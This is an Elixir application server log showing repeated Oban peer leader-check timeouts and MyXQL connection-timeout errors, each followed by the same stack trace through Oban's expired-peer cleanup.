[Fri Sep  4 15:14:16.079000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:14:20.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:14:55.232000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:15:00.233000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:15:04.955000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:15:37.992000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:15:42.993000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:15:47.048000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:15:47.735000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:16:22.775000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:16:24.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=3.4ms idle=1280.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:16:27.776000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:16:32.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:17:05.691000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:05.960000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:10.692000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:15.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:17:48.533000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:52.053000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:53.534000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:17:57.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:18:32.861000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:18:37.862000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:18:41.905000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:19:16.938000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:19:21.940000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:19:26.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:20:01.306000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:01.335000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:05.964000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:06.336000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:10.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:20:43.720000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:48.721000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:20:53.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:21:28.611000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:21:33.612000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:21:36.312000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:21:37.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
